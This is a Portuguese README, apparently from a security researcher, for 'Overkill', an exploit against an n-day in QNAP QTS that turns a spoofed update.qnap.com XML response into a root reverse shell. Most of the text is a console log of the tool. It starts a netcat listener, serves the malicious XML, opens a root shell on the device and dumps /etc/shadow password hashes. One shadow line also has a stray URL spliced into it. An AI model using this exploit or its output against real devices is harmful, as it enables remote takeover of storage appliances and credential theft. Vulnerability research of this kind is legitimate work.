
QNAP N-Day (Provavelmente não CVE-2020-2509)
Overkill é um exploit para uma vulnerabilidade corrigida que afeta o QNAP QTS. Devido à forma como a QNAP divulga vulnerabilidades, não tenho certeza se esse problema possui um CVE ou não. No entanto, provavelmente foi corrigido em novembro de 2020 e abril de 2021. O n-day foi "descoberto" durante a análise de diff para o CVE-2020-2509. Isso quase certamente não é o CVE-2020-2509.
O exploit enviará solicitações HTTP GET para /cgi-bin/qnapmsg.cgi?lang=xxx, o que fará com que dispositivos QNAP sem correção baixem um arquivo XML de update.qnap.com via HTTP inseguro. Um atacante que consiga redirecionar update.qnap.com para si mesmo pode responder com um arquivo XML controlado pelo atacante. Quando o QNAP analisa o arquivo XML, ele passa parte do conteúdo para uma chamada system, resultando em um reverse shell.
Este exploit não implementa o método para direcionar as solicitações de update.qnap.com para o exploit. No exemplo abaixo, eu estava usando sequestro de DNS no meu próprio roteador... os resultados podem variar.
albinolobster@ubuntu:~/overkill$ sudo python3 overkill.py --rhost 10.12.70.251 --lhost 10.12.70.252
01001001001000000110001101100001011011100010011101110100001000000110011101100101
______ ___ ___ _______ _______ __ ___ __ ___ ___
/ " \|" \ /" |/" "| /" \ |/"| / ") |" \ |" | |" |
// ____ \\ \ // /(: ______)|: |(: |/ / || | || | || |
/ / ) :)\\ \/. ./ \/ | |_____/ )| __/ |: | |: | |: |
(: (____/ // \. // // ___)_ // / (// _ \ |. | \ |___ \ |___
\ / \\ / (: "||: __ \ |: | \ \ /\ |\( \_|: \( \_|: \
\"_____/ \__/ \_______)|__| \___)(__| \__)(__\_|_)\_______)\_______)
01110100001000000111010001101111001000000111001101101100011001010110010101110000
🦞 jbaines-r7
[+] Forking a netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Spinning up HTTP server
[!] Attempting http://10.12.70.251:8080/cgi-bin/qnapmsg.cgi?lang=eng
[+] Received an HTTP request from 10.12.70.251 on 27/Jul/2022 11:58:23
[*] Requested /loginad//qnapmsg_eng.xml
10.12.70.251 - - [27/Jul/2022 11:58:23] "GET /loginad//qnapmsg_eng.xml HTTP/1.1" 200 -
Connection received on 10.12.70.251 44630
bash-3.2# uname -a
uname -a
Linux NAS4A32F3 4.2.8 #1 SMP Sun Nov 8 01:50:48 CST 2020 aarch64 GNU/Linux
bash-3.2# id
id
uid=0(admin) gid=0(administrators)
bash-3.2# cat /etc/shadow
cat /etc/shadow
admin:!$1$5pFeLUat$D8jTQogWJy0HF3XjkD13q/:19181:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:19181:0:99999:7:::
albinolobster:$1$cZCC65z5$NXtIBB4hgqzVG.PHyShKh1:19195:0:99999:7:::
[sshd]:https://raw.githubusercontent.com/jbaines-r7/overkill/HEAD/!:19181:0:99999:7:::
bash-3.2# exit